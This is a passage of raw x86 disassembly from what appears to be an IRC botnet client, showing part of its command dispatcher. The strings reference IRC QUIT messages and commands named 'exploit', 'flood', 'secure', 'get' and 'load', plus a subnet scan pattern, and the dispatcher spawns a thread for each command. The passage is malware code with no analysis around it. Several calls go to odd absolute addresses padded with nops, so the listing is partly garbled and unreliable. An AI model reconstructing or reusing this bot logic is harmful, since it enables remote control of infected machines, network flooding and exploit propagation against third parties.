		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 269095Dh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C260
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C23C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C140
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aZaqwer	; "zaqwer"
		push	offset dword_42C0CC


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C00C
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF0
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFB8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEDC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B4


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE0


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
